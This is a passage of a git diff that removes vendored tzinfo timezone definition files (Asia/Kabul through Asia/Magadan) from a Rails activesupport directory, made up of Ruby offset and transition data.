-          tz.transition 1950, 9, :o2, 4867079, 2
-          tz.transition 1951, 3, :o3, 29204849, 12
-          tz.transition 1951, 11, :o2, 4867923, 2
-          tz.transition 1952, 4, :o3, 4868245, 2
-          tz.transition 1952, 10, :o2, 4868609, 2
-          tz.transition 1953, 4, :o3, 4868959, 2
-          tz.transition 1953, 9, :o2, 4869267, 2
-          tz.transition 1954, 6, :o3, 29218877, 12
-          tz.transition 1954, 9, :o2, 19479979, 8
-          tz.transition 1955, 6, :o3, 4870539, 2
-          tz.transition 1955, 9, :o2, 19482891, 8
-          tz.transition 1956, 6, :o3, 29227529, 12
-          tz.transition 1956, 9, :o2, 4871493, 2
-          tz.transition 1957, 4, :o3, 4871915, 2
-          tz.transition 1957, 9, :o2, 19488827, 8
-          tz.transition 1974, 7, :o3, 142380000
-          tz.transition 1974, 10, :o2, 150843600
-          tz.transition 1975, 4, :o3, 167176800
-          tz.transition 1975, 8, :o2, 178664400
-          tz.transition 1985, 4, :o3, 482277600
-          tz.transition 1985, 9, :o2, 495579600
-          tz.transition 1986, 5, :o3, 516751200
-          tz.transition 1986, 9, :o2, 526424400
-          tz.transition 1987, 4, :o3, 545436000
-          tz.transition 1987, 9, :o2, 558478800
-          tz.transition 1988, 4, :o3, 576540000
-          tz.transition 1988, 9, :o2, 589237200
-          tz.transition 1989, 4, :o3, 609890400
-          tz.transition 1989, 9, :o2, 620773200
-          tz.transition 1990, 3, :o3, 638316000
-          tz.transition 1990, 8, :o2, 651618000
-          tz.transition 1991, 3, :o3, 669765600
-          tz.transition 1991, 8, :o2, 683672400
-          tz.transition 1992, 3, :o3, 701820000
-          tz.transition 1992, 9, :o2, 715726800
-          tz.transition 1993, 4, :o3, 733701600
-          tz.transition 1993, 9, :o2, 747176400
-          tz.transition 1994, 3, :o3, 765151200
-          tz.transition 1994, 8, :o2, 778021200
-          tz.transition 1995, 3, :o3, 796600800
-          tz.transition 1995, 9, :o2, 810075600
-          tz.transition 1996, 3, :o3, 826840800
-          tz.transition 1996, 9, :o2, 842821200
-          tz.transition 1997, 3, :o3, 858895200
-          tz.transition 1997, 9, :o2, 874184400
-          tz.transition 1998, 3, :o3, 890344800
-          tz.transition 1998, 9, :o2, 905029200
-          tz.transition 1999, 4, :o3, 923011200
-          tz.transition 1999, 9, :o2, 936313200
-          tz.transition 2000, 4, :o3, 955670400
-          tz.transition 2000, 10, :o2, 970783200
-          tz.transition 2001, 4, :o3, 986770800
-          tz.transition 2001, 9, :o2, 1001282400
-          tz.transition 2002, 3, :o3, 1017356400
-          tz.transition 2002, 10, :o2, 1033941600
-          tz.transition 2003, 3, :o3, 1048806000
-          tz.transition 2003, 10, :o2, 1065132000
-          tz.transition 2004, 4, :o3, 1081292400
-          tz.transition 2004, 9, :o2, 1095804000
-          tz.transition 2005, 4, :o3, 1112313600
-          tz.transition 2005, 10, :o2, 1128812400
-          tz.transition 2006, 3, :o3, 1143763200
-          tz.transition 2006, 9, :o2, 1159657200
-          tz.transition 2007, 3, :o3, 1175212800
-          tz.transition 2007, 9, :o2, 1189897200
-          tz.transition 2008, 3, :o3, 1206662400
-          tz.transition 2008, 10, :o2, 1223161200
-          tz.transition 2009, 3, :o3, 1238112000
-          tz.transition 2009, 9, :o2, 1254006000
-          tz.transition 2010, 3, :o3, 1269561600
-          tz.transition 2010, 9, :o2, 1284246000
-          tz.transition 2011, 4, :o3, 1301616000
-          tz.transition 2011, 10, :o2, 1317510000
-          tz.transition 2012, 3, :o3, 1333065600
-          tz.transition 2012, 9, :o2, 1348354800
-          tz.transition 2013, 3, :o3, 1364515200
-          tz.transition 2013, 9, :o2, 1378594800
-          tz.transition 2014, 3, :o3, 1395964800
-          tz.transition 2014, 9, :o2, 1411858800
-          tz.transition 2015, 3, :o3, 1427414400
-          tz.transition 2015, 9, :o2, 1442703600
-          tz.transition 2016, 4, :o3, 1459468800
-          tz.transition 2016, 10, :o2, 1475967600
-          tz.transition 2017, 3, :o3, 1490918400
-          tz.transition 2017, 9, :o2, 1506207600
-          tz.transition 2018, 3, :o3, 1522368000
-          tz.transition 2018, 9, :o2, 1537052400
-          tz.transition 2019, 3, :o3, 1553817600
-          tz.transition 2019, 10, :o2, 1570316400
-          tz.transition 2020, 3, :o3, 1585267200
-          tz.transition 2020, 9, :o2, 1601161200
-          tz.transition 2021, 3, :o3, 1616716800
-          tz.transition 2021, 9, :o2, 1631401200
-          tz.transition 2022, 4, :o3, 1648771200
-          tz.transition 2022, 10, :o2, 1664665200
-          tz.transition 2023, 3, :o3, 1680220800
-          tz.transition 2023, 9, :o2, 1695510000
-          tz.transition 2024, 3, :o3, 1711670400
-          tz.transition 2024, 10, :o2, 1728169200
-          tz.transition 2025, 3, :o3, 1743120000
-          tz.transition 2025, 9, :o2, 1759014000
-          tz.transition 2026, 3, :o3, 1774569600
-          tz.transition 2026, 9, :o2, 1789858800
-          tz.transition 2027, 3, :o3, 1806019200
-          tz.transition 2027, 10, :o2, 1823122800
-          tz.transition 2028, 3, :o3, 1838073600
-          tz.transition 2028, 9, :o2, 1853362800
-          tz.transition 2029, 3, :o3, 1869523200
-          tz.transition 2029, 9, :o2, 1884207600
-          tz.transition 2030, 3, :o3, 1900972800
-          tz.transition 2030, 10, :o2, 1917471600
-          tz.transition 2031, 3, :o3, 1932422400
-          tz.transition 2031, 9, :o2, 1947711600
-          tz.transition 2032, 3, :o3, 1963872000
-          tz.transition 2032, 9, :o2, 1978556400
-          tz.transition 2033, 4, :o3, 1995926400
-          tz.transition 2033, 10, :o2, 2011820400
-          tz.transition 2034, 3, :o3, 2027376000
-          tz.transition 2034, 9, :o2, 2042060400
-          tz.transition 2035, 3, :o3, 2058825600
-          tz.transition 2035, 10, :o2, 2075324400
-          tz.transition 2036, 3, :o3, 2090275200
-          tz.transition 2036, 9, :o2, 2106169200
-          tz.transition 2037, 3, :o3, 2121724800
-          tz.transition 2037, 9, :o2, 2136409200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb
deleted file mode 100644
index 669c0979..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kabul.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Kabul
-        include TimezoneDefinition
-        
-        timezone 'Asia/Kabul' do |tz|
-          tz.offset :o0, 16608, 0, :LMT
-          tz.offset :o1, 14400, 0, :AFT
-          tz.offset :o2, 16200, 0, :AFT
-          
-          tz.transition 1889, 12, :o1, 2170231477, 900
-          tz.transition 1944, 12, :o2, 7294369, 3
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb
deleted file mode 100644
index 2f1690b3..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kamchatka.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Kamchatka
-        include TimezoneDefinition
-        
-        timezone 'Asia/Kamchatka' do |tz|
-          tz.offset :o0, 38076, 0, :LMT
-          tz.offset :o1, 39600, 0, :PETT
-          tz.offset :o2, 43200, 0, :PETT
-          tz.offset :o3, 43200, 3600, :PETST
-          tz.offset :o4, 39600, 3600, :PETST
-          
-          tz.transition 1922, 11, :o1, 17448250027, 7200
-          tz.transition 1930, 6, :o2, 58227553, 24
-          tz.transition 1981, 3, :o3, 354888000
-          tz.transition 1981, 9, :o2, 370695600
-          tz.transition 1982, 3, :o3, 386424000
-          tz.transition 1982, 9, :o2, 402231600
-          tz.transition 1983, 3, :o3, 417960000
-          tz.transition 1983, 9, :o2, 433767600
-          tz.transition 1984, 3, :o3, 449582400
-          tz.transition 1984, 9, :o2, 465314400
-          tz.transition 1985, 3, :o3, 481039200
-          tz.transition 1985, 9, :o2, 496764000
-          tz.transition 1986, 3, :o3, 512488800
-          tz.transition 1986, 9, :o2, 528213600
-          tz.transition 1987, 3, :o3, 543938400
-          tz.transition 1987, 9, :o2, 559663200
-          tz.transition 1988, 3, :o3, 575388000
-          tz.transition 1988, 9, :o2, 591112800
-          tz.transition 1989, 3, :o3, 606837600
-          tz.transition 1989, 9, :o2, 622562400
-          tz.transition 1990, 3, :o3, 638287200
-          tz.transition 1990, 9, :o2, 654616800
-          tz.transition 1991, 3, :o4, 670341600
-          tz.transition 1991, 9, :o1, 686070000
-          tz.transition 1992, 1, :o2, 695746800
-          tz.transition 1992, 3, :o3, 701780400
-          tz.transition 1992, 9, :o2, 717501600
-          tz.transition 1993, 3, :o3, 733240800
-          tz.transition 1993, 9, :o2, 748965600
-          tz.transition 1994, 3, :o3, 764690400
-          tz.transition 1994, 9, :o2, 780415200
-          tz.transition 1995, 3, :o3, 796140000
-          tz.transition 1995, 9, :o2, 811864800
-          tz.transition 1996, 3, :o3, 828194400
-          tz.transition 1996, 10, :o2, 846338400
-          tz.transition 1997, 3, :o3, 859644000
-          tz.transition 1997, 10, :o2, 877788000
-          tz.transition 1998, 3, :o3, 891093600
-          tz.transition 1998, 10, :o2, 909237600
-          tz.transition 1999, 3, :o3, 922543200
-          tz.transition 1999, 10, :o2, 941292000
-          tz.transition 2000, 3, :o3, 953992800
-          tz.transition 2000, 10, :o2, 972741600
-          tz.transition 2001, 3, :o3, 985442400
-          tz.transition 2001, 10, :o2, 1004191200
-          tz.transition 2002, 3, :o3, 1017496800
-          tz.transition 2002, 10, :o2, 1035640800
-          tz.transition 2003, 3, :o3, 1048946400
-          tz.transition 2003, 10, :o2, 1067090400
-          tz.transition 2004, 3, :o3, 1080396000
-          tz.transition 2004, 10, :o2, 1099144800
-          tz.transition 2005, 3, :o3, 1111845600
-          tz.transition 2005, 10, :o2, 1130594400
-          tz.transition 2006, 3, :o3, 1143295200
-          tz.transition 2006, 10, :o2, 1162044000
-          tz.transition 2007, 3, :o3, 1174744800
-          tz.transition 2007, 10, :o2, 1193493600
-          tz.transition 2008, 3, :o3, 1206799200
-          tz.transition 2008, 10, :o2, 1224943200
-          tz.transition 2009, 3, :o3, 1238248800
-          tz.transition 2009, 10, :o2, 1256392800
-          tz.transition 2010, 3, :o3, 1269698400
-          tz.transition 2010, 10, :o2, 1288447200
-          tz.transition 2011, 3, :o3, 1301148000
-          tz.transition 2011, 10, :o2, 1319896800
-          tz.transition 2012, 3, :o3, 1332597600
-          tz.transition 2012, 10, :o2, 1351346400
-          tz.transition 2013, 3, :o3, 1364652000
-          tz.transition 2013, 10, :o2, 1382796000
-          tz.transition 2014, 3, :o3, 1396101600
-          tz.transition 2014, 10, :o2, 1414245600
-          tz.transition 2015, 3, :o3, 1427551200
-          tz.transition 2015, 10, :o2, 1445695200
-          tz.transition 2016, 3, :o3, 1459000800
-          tz.transition 2016, 10, :o2, 1477749600
-          tz.transition 2017, 3, :o3, 1490450400
-          tz.transition 2017, 10, :o2, 1509199200
-          tz.transition 2018, 3, :o3, 1521900000
-          tz.transition 2018, 10, :o2, 1540648800
-          tz.transition 2019, 3, :o3, 1553954400
-          tz.transition 2019, 10, :o2, 1572098400
-          tz.transition 2020, 3, :o3, 1585404000
-          tz.transition 2020, 10, :o2, 1603548000
-          tz.transition 2021, 3, :o3, 1616853600
-          tz.transition 2021, 10, :o2, 1635602400
-          tz.transition 2022, 3, :o3, 1648303200
-          tz.transition 2022, 10, :o2, 1667052000
-          tz.transition 2023, 3, :o3, 1679752800
-          tz.transition 2023, 10, :o2, 1698501600
-          tz.transition 2024, 3, :o3, 1711807200
-          tz.transition 2024, 10, :o2, 1729951200
-          tz.transition 2025, 3, :o3, 1743256800
-          tz.transition 2025, 10, :o2, 1761400800
-          tz.transition 2026, 3, :o3, 1774706400
-          tz.transition 2026, 10, :o2, 1792850400
-          tz.transition 2027, 3, :o3, 1806156000
-          tz.transition 2027, 10, :o2, 1824904800
-          tz.transition 2028, 3, :o3, 1837605600
-          tz.transition 2028, 10, :o2, 1856354400
-          tz.transition 2029, 3, :o3, 1869055200
-          tz.transition 2029, 10, :o2, 1887804000
-          tz.transition 2030, 3, :o3, 1901109600
-          tz.transition 2030, 10, :o2, 1919253600
-          tz.transition 2031, 3, :o3, 1932559200
-          tz.transition 2031, 10, :o2, 1950703200
-          tz.transition 2032, 3, :o3, 1964008800
-          tz.transition 2032, 10, :o2, 1982757600
-          tz.transition 2033, 3, :o3, 1995458400
-          tz.transition 2033, 10, :o2, 2014207200
-          tz.transition 2034, 3, :o3, 2026908000
-          tz.transition 2034, 10, :o2, 2045656800
-          tz.transition 2035, 3, :o3, 2058357600
-          tz.transition 2035, 10, :o2, 2077106400
-          tz.transition 2036, 3, :o3, 2090412000
-          tz.transition 2036, 10, :o2, 2108556000
-          tz.transition 2037, 3, :o3, 2121861600
-          tz.transition 2037, 10, :o2, 2140005600
-          tz.transition 2038, 3, :o3, 29586121, 12
-          tz.transition 2038, 10, :o2, 29588725, 12
-          tz.transition 2039, 3, :o3, 29590489, 12
-          tz.transition 2039, 10, :o2, 29593093, 12
-          tz.transition 2040, 3, :o3, 29594857, 12
-          tz.transition 2040, 10, :o2, 29597461, 12
-          tz.transition 2041, 3, :o3, 29599309, 12
-          tz.transition 2041, 10, :o2, 29601829, 12
-          tz.transition 2042, 3, :o3, 29603677, 12
-          tz.transition 2042, 10, :o2, 29606197, 12
-          tz.transition 2043, 3, :o3, 29608045, 12
-          tz.transition 2043, 10, :o2, 29610565, 12
-          tz.transition 2044, 3, :o3, 29612413, 12
-          tz.transition 2044, 10, :o2, 29615017, 12
-          tz.transition 2045, 3, :o3, 29616781, 12
-          tz.transition 2045, 10, :o2, 29619385, 12
-          tz.transition 2046, 3, :o3, 29621149, 12
-          tz.transition 2046, 10, :o2, 29623753, 12
-          tz.transition 2047, 3, :o3, 29625601, 12
-          tz.transition 2047, 10, :o2, 29628121, 12
-          tz.transition 2048, 3, :o3, 29629969, 12
-          tz.transition 2048, 10, :o2, 29632489, 12
-          tz.transition 2049, 3, :o3, 29634337, 12
-          tz.transition 2049, 10, :o2, 29636941, 12
-          tz.transition 2050, 3, :o3, 29638705, 12
-          tz.transition 2050, 10, :o2, 29641309, 12
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb
deleted file mode 100644
index b906cc98..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Karachi.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Karachi
-        include TimezoneDefinition
-        
-        timezone 'Asia/Karachi' do |tz|
-          tz.offset :o0, 16092, 0, :LMT
-          tz.offset :o1, 19800, 0, :IST
-          tz.offset :o2, 19800, 3600, :IST
-          tz.offset :o3, 18000, 0, :KART
-          tz.offset :o4, 18000, 0, :PKT
-          tz.offset :o5, 18000, 3600, :PKST
-          
-          tz.transition 1906, 12, :o1, 1934061051, 800
-          tz.transition 1942, 8, :o2, 116668957, 48
-          tz.transition 1945, 10, :o1, 116723675, 48
-          tz.transition 1951, 9, :o3, 116828125, 48
-          tz.transition 1971, 3, :o4, 38775600
-          tz.transition 2002, 4, :o5, 1018119660
-          tz.transition 2002, 10, :o4, 1033840860
-          tz.transition 2008, 5, :o5, 1212260400
-          tz.transition 2008, 10, :o4, 1225476000
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb
deleted file mode 100644
index 37dbea1f..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Katmandu.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Katmandu
-        include TimezoneDefinition
-        
-        timezone 'Asia/Katmandu' do |tz|
-          tz.offset :o0, 20476, 0, :LMT
-          tz.offset :o1, 19800, 0, :IST
-          tz.offset :o2, 20700, 0, :NPT
-          
-          tz.transition 1919, 12, :o1, 52322204081, 21600
-          tz.transition 1985, 12, :o2, 504901800
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb
deleted file mode 100644
index 1b6ffbd5..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kolkata.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Kolkata
-        include TimezoneDefinition
-        
-        timezone 'Asia/Kolkata' do |tz|
-          tz.offset :o0, 21208, 0, :LMT
-          tz.offset :o1, 21200, 0, :HMT
-          tz.offset :o2, 23400, 0, :BURT
-          tz.offset :o3, 19800, 0, :IST
-          tz.offset :o4, 19800, 3600, :IST
-          
-          tz.transition 1879, 12, :o1, 26003324749, 10800
-          tz.transition 1941, 9, :o2, 524937943, 216
-          tz.transition 1942, 5, :o3, 116663723, 48
-          tz.transition 1942, 8, :o4, 116668957, 48
-          tz.transition 1945, 10, :o3, 116723675, 48
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb
deleted file mode 100644
index d6c503c1..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Krasnoyarsk.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Krasnoyarsk
-        include TimezoneDefinition
-        
-        timezone 'Asia/Krasnoyarsk' do |tz|
-          tz.offset :o0, 22280, 0, :LMT
-          tz.offset :o1, 21600, 0, :KRAT
-          tz.offset :o2, 25200, 0, :KRAT
-          tz.offset :o3, 25200, 3600, :KRAST
-          tz.offset :o4, 21600, 3600, :KRAST
-          
-          tz.transition 1920, 1, :o1, 5232231163, 2160
-          tz.transition 1930, 6, :o2, 9704593, 4
-          tz.transition 1981, 3, :o3, 354906000
-          tz.transition 1981, 9, :o2, 370713600
-          tz.transition 1982, 3, :o3, 386442000
-          tz.transition 1982, 9, :o2, 402249600
-          tz.transition 1983, 3, :o3, 417978000
-          tz.transition 1983, 9, :o2, 433785600
-          tz.transition 1984, 3, :o3, 449600400
-          tz.transition 1984, 9, :o2, 465332400
-          tz.transition 1985, 3, :o3, 481057200
-          tz.transition 1985, 9, :o2, 496782000
-          tz.transition 1986, 3, :o3, 512506800
-          tz.transition 1986, 9, :o2, 528231600
-          tz.transition 1987, 3, :o3, 543956400
-          tz.transition 1987, 9, :o2, 559681200
-          tz.transition 1988, 3, :o3, 575406000
-          tz.transition 1988, 9, :o2, 591130800
-          tz.transition 1989, 3, :o3, 606855600
-          tz.transition 1989, 9, :o2, 622580400
-          tz.transition 1990, 3, :o3, 638305200
-          tz.transition 1990, 9, :o2, 654634800
-          tz.transition 1991, 3, :o4, 670359600
-          tz.transition 1991, 9, :o1, 686088000
-          tz.transition 1992, 1, :o2, 695764800
-          tz.transition 1992, 3, :o3, 701798400
-          tz.transition 1992, 9, :o2, 717519600
-          tz.transition 1993, 3, :o3, 733258800
-          tz.transition 1993, 9, :o2, 748983600
-          tz.transition 1994, 3, :o3, 764708400
-          tz.transition 1994, 9, :o2, 780433200
-          tz.transition 1995, 3, :o3, 796158000
-          tz.transition 1995, 9, :o2, 811882800
-          tz.transition 1996, 3, :o3, 828212400
-          tz.transition 1996, 10, :o2, 846356400
-          tz.transition 1997, 3, :o3, 859662000
-          tz.transition 1997, 10, :o2, 877806000
-          tz.transition 1998, 3, :o3, 891111600
-          tz.transition 1998, 10, :o2, 909255600
-          tz.transition 1999, 3, :o3, 922561200
-          tz.transition 1999, 10, :o2, 941310000
-          tz.transition 2000, 3, :o3, 954010800
-          tz.transition 2000, 10, :o2, 972759600
-          tz.transition 2001, 3, :o3, 985460400
-          tz.transition 2001, 10, :o2, 1004209200
-          tz.transition 2002, 3, :o3, 1017514800
-          tz.transition 2002, 10, :o2, 1035658800
-          tz.transition 2003, 3, :o3, 1048964400
-          tz.transition 2003, 10, :o2, 1067108400
-          tz.transition 2004, 3, :o3, 1080414000
-          tz.transition 2004, 10, :o2, 1099162800
-          tz.transition 2005, 3, :o3, 1111863600
-          tz.transition 2005, 10, :o2, 1130612400
-          tz.transition 2006, 3, :o3, 1143313200
-          tz.transition 2006, 10, :o2, 1162062000
-          tz.transition 2007, 3, :o3, 1174762800
-          tz.transition 2007, 10, :o2, 1193511600
-          tz.transition 2008, 3, :o3, 1206817200
-          tz.transition 2008, 10, :o2, 1224961200
-          tz.transition 2009, 3, :o3, 1238266800
-          tz.transition 2009, 10, :o2, 1256410800
-          tz.transition 2010, 3, :o3, 1269716400
-          tz.transition 2010, 10, :o2, 1288465200
-          tz.transition 2011, 3, :o3, 1301166000
-          tz.transition 2011, 10, :o2, 1319914800
-          tz.transition 2012, 3, :o3, 1332615600
-          tz.transition 2012, 10, :o2, 1351364400
-          tz.transition 2013, 3, :o3, 1364670000
-          tz.transition 2013, 10, :o2, 1382814000
-          tz.transition 2014, 3, :o3, 1396119600
-          tz.transition 2014, 10, :o2, 1414263600
-          tz.transition 2015, 3, :o3, 1427569200
-          tz.transition 2015, 10, :o2, 1445713200
-          tz.transition 2016, 3, :o3, 1459018800
-          tz.transition 2016, 10, :o2, 1477767600
-          tz.transition 2017, 3, :o3, 1490468400
-          tz.transition 2017, 10, :o2, 1509217200
-          tz.transition 2018, 3, :o3, 1521918000
-          tz.transition 2018, 10, :o2, 1540666800
-          tz.transition 2019, 3, :o3, 1553972400
-          tz.transition 2019, 10, :o2, 1572116400
-          tz.transition 2020, 3, :o3, 1585422000
-          tz.transition 2020, 10, :o2, 1603566000
-          tz.transition 2021, 3, :o3, 1616871600
-          tz.transition 2021, 10, :o2, 1635620400
-          tz.transition 2022, 3, :o3, 1648321200
-          tz.transition 2022, 10, :o2, 1667070000
-          tz.transition 2023, 3, :o3, 1679770800
-          tz.transition 2023, 10, :o2, 1698519600
-          tz.transition 2024, 3, :o3, 1711825200
-          tz.transition 2024, 10, :o2, 1729969200
-          tz.transition 2025, 3, :o3, 1743274800
-          tz.transition 2025, 10, :o2, 1761418800
-          tz.transition 2026, 3, :o3, 1774724400
-          tz.transition 2026, 10, :o2, 1792868400
-          tz.transition 2027, 3, :o3, 1806174000
-          tz.transition 2027, 10, :o2, 1824922800
-          tz.transition 2028, 3, :o3, 1837623600
-          tz.transition 2028, 10, :o2, 1856372400
-          tz.transition 2029, 3, :o3, 1869073200
-          tz.transition 2029, 10, :o2, 1887822000
-          tz.transition 2030, 3, :o3, 1901127600
-          tz.transition 2030, 10, :o2, 1919271600
-          tz.transition 2031, 3, :o3, 1932577200
-          tz.transition 2031, 10, :o2, 1950721200
-          tz.transition 2032, 3, :o3, 1964026800
-          tz.transition 2032, 10, :o2, 1982775600
-          tz.transition 2033, 3, :o3, 1995476400
-          tz.transition 2033, 10, :o2, 2014225200
-          tz.transition 2034, 3, :o3, 2026926000
-          tz.transition 2034, 10, :o2, 2045674800
-          tz.transition 2035, 3, :o3, 2058375600
-          tz.transition 2035, 10, :o2, 2077124400
-          tz.transition 2036, 3, :o3, 2090430000
-          tz.transition 2036, 10, :o2, 2108574000
-          tz.transition 2037, 3, :o3, 2121879600
-          tz.transition 2037, 10, :o2, 2140023600
-          tz.transition 2038, 3, :o3, 59172247, 24
-          tz.transition 2038, 10, :o2, 59177455, 24
-          tz.transition 2039, 3, :o3, 59180983, 24
-          tz.transition 2039, 10, :o2, 59186191, 24
-          tz.transition 2040, 3, :o3, 59189719, 24
-          tz.transition 2040, 10, :o2, 59194927, 24
-          tz.transition 2041, 3, :o3, 59198623, 24
-          tz.transition 2041, 10, :o2, 59203663, 24
-          tz.transition 2042, 3, :o3, 59207359, 24
-          tz.transition 2042, 10, :o2, 59212399, 24
-          tz.transition 2043, 3, :o3, 59216095, 24
-          tz.transition 2043, 10, :o2, 59221135, 24
-          tz.transition 2044, 3, :o3, 59224831, 24
-          tz.transition 2044, 10, :o2, 59230039, 24
-          tz.transition 2045, 3, :o3, 59233567, 24
-          tz.transition 2045, 10, :o2, 59238775, 24
-          tz.transition 2046, 3, :o3, 59242303, 24
-          tz.transition 2046, 10, :o2, 59247511, 24
-          tz.transition 2047, 3, :o3, 59251207, 24
-          tz.transition 2047, 10, :o2, 59256247, 24
-          tz.transition 2048, 3, :o3, 59259943, 24
-          tz.transition 2048, 10, :o2, 59264983, 24
-          tz.transition 2049, 3, :o3, 59268679, 24
-          tz.transition 2049, 10, :o2, 59273887, 24
-          tz.transition 2050, 3, :o3, 59277415, 24
-          tz.transition 2050, 10, :o2, 59282623, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb
deleted file mode 100644
index 77a0c206..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuala_Lumpur.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Kuala_Lumpur
-        include TimezoneDefinition
-        
-        timezone 'Asia/Kuala_Lumpur' do |tz|
-          tz.offset :o0, 24406, 0, :LMT
-          tz.offset :o1, 24925, 0, :SMT
-          tz.offset :o2, 25200, 0, :MALT
-          tz.offset :o3, 25200, 1200, :MALST
-          tz.offset :o4, 26400, 0, :MALT
-          tz.offset :o5, 27000, 0, :MALT
-          tz.offset :o6, 32400, 0, :JST
-          tz.offset :o7, 28800, 0, :MYT
-          
-          tz.transition 1900, 12, :o1, 104344641397, 43200
-          tz.transition 1905, 5, :o2, 8353142363, 3456
-          tz.transition 1932, 12, :o3, 58249757, 24
-          tz.transition 1935, 12, :o4, 87414055, 36
-          tz.transition 1941, 8, :o5, 87488575, 36
-          tz.transition 1942, 2, :o6, 38886499, 16
-          tz.transition 1945, 9, :o5, 19453681, 8
-          tz.transition 1981, 12, :o7, 378664200
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb
deleted file mode 100644
index 5bd52831..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Kuwait.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Kuwait
-        include TimezoneDefinition
-        
-        timezone 'Asia/Kuwait' do |tz|
-          tz.offset :o0, 11516, 0, :LMT
-          tz.offset :o1, 10800, 0, :AST
-          
-          tz.transition 1949, 12, :o1, 52558899121, 21600
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb
deleted file mode 100644
index 30209369..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Magadan.rb
+++ /dev/null
@@ -1,163 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Asia
-      module Magadan
-        include TimezoneDefinition
-        
-        timezone 'Asia/Magadan' do |tz|
-          tz.offset :o0, 36192, 0, :LMT
-          tz.offset :o1, 36000, 0, :MAGT
-          tz.offset :o2, 39600, 0, :MAGT
-          tz.offset :o3, 39600, 3600, :MAGST
-          tz.offset :o4, 36000, 3600, :MAGST
-          
-          tz.transition 1924, 5, :o1, 2181516373, 900
-          tz.transition 1930, 6, :o2, 29113777, 12
-          tz.transition 1981, 3, :o3, 354891600
-          tz.transition 1981, 9, :o2, 370699200
-          tz.transition 1982, 3, :o3, 386427600
-          tz.transition 1982, 9, :o2, 402235200
-          tz.transition 1983, 3, :o3, 417963600
-          tz.transition 1983, 9, :o2, 433771200
-          tz.transition 1984, 3, :o3, 449586000
-          tz.transition 1984, 9, :o2, 465318000
-          tz.transition 1985, 3, :o3, 481042800
-          tz.transition 1985, 9, :o2, 496767600
